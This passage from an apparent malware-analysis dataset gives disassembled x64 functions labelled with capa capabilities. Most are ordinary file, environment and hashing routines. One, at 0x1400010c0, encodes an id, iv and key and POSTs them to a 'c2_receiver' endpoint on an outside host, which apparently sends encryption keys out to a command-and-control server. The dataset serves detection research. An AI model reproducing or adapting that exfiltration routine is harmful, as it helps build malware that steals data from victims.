joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140183728
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1401faef0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14018377f
cmp word [rdx], r13w
jne 0x14018377f
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140183784
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1401838a9
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1401838ca
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1401837bd
mov rdx, r9
mov word [rbx], cx
jmp 0x1401837e4
cmp r9, r8
jae 0x1401837f4
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14018379e
jmp 0x1401838a9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14018389e
cmp dword [rsp + 0x80], esi
je 0x14018389e
lea r8, [0x1401faef0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140183876
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140183846
mov word [rbx], r13w
jmp 0x1401838a6
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140183853
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1401838a6
cmp word [rsp + 0x70], r13w
jne 0x140183883
cmp rbx, r14
je 0x140183840
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140184390
cmp word [rsp + 0x70], r13w
je 0x1401838a9
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401faef0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1401838a3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1401838a9
Function at 0x1401882c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1401882f4
xor eax, eax
jmp 0x1401883b7
mov rbp, rbx
cmp word [rax], si
je 0x140188319
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140188300
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1401882fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1401858c8
movsxd r14, eax
test eax, eax
jne 0x140188357
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1401882ed
mov rcx, r14
call fcn.14017efd4
mov rdi, rax
test rax, rax
jne 0x140188370
xor ecx, ecx
call fcn.14017ef98
jmp 0x14018834c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1401858c8
test eax, eax
jne 0x1401883a1
mov rcx, rdi
call fcn.14017ef98
jmp 0x1401883ab
xor ecx, ecx
call fcn.14017ef98
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1401883d4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14018845b
mov rsi, rbx
cmp word [rax], bp
je 0x14018841a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140188404
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140188400
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14017efd4
mov rdi, rax
test rax, rax
je 0x140188448
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140191740
mov rbp, rdi
xor ecx, ecx
call fcn.14017ef98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14018b900
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14017ec38
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14018b9a1
cmp ebx, dword [rsp + 0x30]
je 0x14018b99a
test esi, esi
je 0x14018b99a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14018b975
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14018b982
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14018b95f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14018b986
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14018b9a3
mov eax, 1
jmp 0x14018b9a3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14018f724
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140175740
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14018f7ae
cmp byte [rbp - 0x21], r15b
je 0x14018f7a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14018f7e4
call fcn.1401809d0
test eax, eax
jne 0x14018f7d0
cmp byte [rbp - 0x21], r15b
je 0x14018f7c8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14018f7e4
cmp byte [rbp - 0x21], r15b
je 0x14018f7e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140177b2c
test eax, eax
jne 0x14018f884
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140175740
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14018f823
cmp byte [rbp - 0x21], r15b
je 0x14018f858
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14018f858
call fcn.1401809d0
test eax, eax
jne 0x14018f844
cmp byte [rbp - 0x21], r15b
je 0x14018f83d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14018f858
cmp byte [rbp - 0x21], r15b
je 0x14018f855
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140177b2c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14018f884
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14018f887
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14018f895
mov rcx, rdi
call fcn.14017ef98
cmp byte [rbp + 0x3f], r15b
je 0x14018f8a4
mov rcx, qword [rbp + 0x27]
call fcn.14017ef98
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1401905cc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140184390
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140184390
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14019071c
cmp rax, 0xffffffffffffffff
je 0x14019071c
xor edi, edi
test rbp, rbp
jle 0x1401906c7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140180638
mov rbx, rax
test rax, rax
jne 0x140190654
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1401906bd
mov edx, 0x8000
mov ecx, r14d
call fcn.14017cdf0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140182ae0
cmp eax, 0xffffffff
je 0x14019069d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140190664
mov edx, r15d
mov ecx, r14d
call fcn.14017cdf0
jmp 0x1401906bd
cmp byte [rsi + 0x38], dil
je 0x1401906b4
cmp dword [rsi + 0x34], 5
jne 0x1401906b4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1401906bd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14017ef98
jmp 0x140190730
jns 0x140190730
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140184390
cmp rax, 0xffffffffffffffff
jne 0x1401906e8
cmp byte [rsi + 0x30], dil
je 0x140190730
mov edi, dword [rsi + 0x2c]
jmp 0x140190730
mov ecx, r14d
call fcn.1401893ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140190730
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x140190730
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140190729
mov eax, dword [rsi + 0x2c]
jmp 0x14019072e
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140184390
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1401914b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1401914d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1401914d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x1d0
mov eax, dword [0x140005a68]
xor r12d, r12d
vmovups xmm0, xmmword [str.Content_Type:_application_json]
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140005a6c]
mov r14, rdx
mov word [rsp + 0x5c], ax
mov rbp, rcx
movzx eax, byte [0x140005a6e]
mov edi, r12d
vmovups xmmword [rsp + 0x40], xmm0
vmovsd xmm0, qword [0x140005a60]
mov byte [rsp + 0x5e], al
mov ebx, r12d
vmovsd qword [rsp + 0x50], xmm0
mov esi, 0x41
nop word [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x14000291c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002966
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002966
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002966
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002966
cmp dword [rcx + 0x84], 0xe
jbe 0x140002966
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002968
xor al, al
add rsp, 0x28
ret
Function at 0x140001dd8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e22
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e22
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_RtlCaptureContext
jne 0x140001e22
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e22
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e22
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e24
xor al, al
add rsp, 0x28
ret
Function at 0x180019ad0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180019b2d
lea rbx, [0x1801a4bf0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180019b14
cmp r10, 2
jb 0x180019b14
cmp byte [r9], r8b
jne 0x180019b14
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180019af0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180019b6f
lea rbx, [0x1801a4bf0]
cmp r8b, 0x23
jne 0x180019b53
cmp byte [r9], r8b
jne 0x180019b53
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180019b40
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180019cb0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180019cca
mov qword [r8], 0
lea rdx, [0x1801a47e4]
call fcn.180019b80
mov rbx, rax
test rax, rax
jne 0x180019cea
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180019dc1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180019dc1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180019dc1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180019dc1
cmp rdi, 0xffffffffffffffff
je 0x180019dc1
mov rax, qword [0x1801fbfa0]
test rax, rax
je 0x180019d5e
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180019dc1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180019dae
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1801fbfa0]
test rax, rax
je 0x180019da3
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180019dca
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x180019dbc
mov qword [r14], rdi
mov rax, rsi
jmp 0x180019dcc
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18001c800
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x1801a4bf0]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [0x1801fbfa0]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3ebc], ebx
jne 0x18001c896
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.18002de50
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x1800280f0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1801f3300]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1801fbfa0]
mov edi, ecx
cmp byte [rbx + 0x4235], 0
jne 0x180028151
cmp byte [rbx + 0x4236], 0
jne 0x180028151
movsx r9d, word [rbx + 0x531a]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.180019990
test dil, 1
je 0x180028278
jmp 0x1800281da
movss xmm1, dword [rbx + 0x3890]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x531a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1801d1564]
mulss xmm1, dword [0x1801d1558]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdf4]
addss xmm1, dword [rbx + 0xdf8]
mov qword [rbx + 0x3fa0], rax
mov dword [rbx + 0x3f8c], 1
movss dword [rbx + 0x3f98], xmm0
movss dword [rbx + 0x3f9c], xmm1
movss xmm0, dword [rbx + 0x38ec]
mulss xmm0, dword [0x1801d11a0]
or dword [rbx + 0x3f88], 0x41
movss dword [rbx + 0x3fe8], xmm0
call fcn.180019990
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x180028230
lea r11, [0x1801a4bf0]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x180028213
cmp byte [r8], r9b
jne 0x180028213
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180028200
not ecx
call fcn.180021310
test rax, rax
je 0x180028278
cmp byte [rax + 0x96], 0
je 0x180028278
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x531a]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x531a]
call fcn.180019990
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.180023aa0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1801636f0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18002ca70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x53c8], 0
lea rbx, [rcx + 0x53d0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x18002cb17
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18002caca
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18002e9e0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.18001a2a0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x53c8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x53d8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1801fbf98]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18002cb1f
mov rcx, rbx
call fcn.18001a2a0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x18002d090
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1801fbfa0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x18002d0f3
mov qword [rsp], rbx
lea rbx, [0x1801a4bf0]
nop dword [rax]
cmp r9b, 0x23
jne 0x18002d0d3
cmp byte [r8], r9b
jne 0x18002d0d3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x18002d0c0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5378]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x18002d127
mov r10, qword [r10 + 0x5380]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x18002d12e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x18002d114
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x18004eb30
Capabilities:
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x20
test dword [rcx + 0x10], 0x100000
mov rdi, rdx
je 0x18004ebbc
movzx r9d, byte [rdx]
lea r8, [rdx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x18004eb90
lea r11, [0x1801a4bf0]
nop
cmp r9b, 0x23
jne 0x18004eb73
cmp byte [r8], r9b
jne 0x18004eb73
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18004eb60
mov rcx, qword [0x1801fbfa0]
not eax
cmp dword [rcx + 0x3ed4], eax
jne 0x18004eba7
mov dword [rcx + 0x3ed8], eax
cmp dword [rcx + 0x3f00], eax
jne 0x18004ec16
mov byte [rcx + 0x3f04], 1
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbx
xor edx, edx
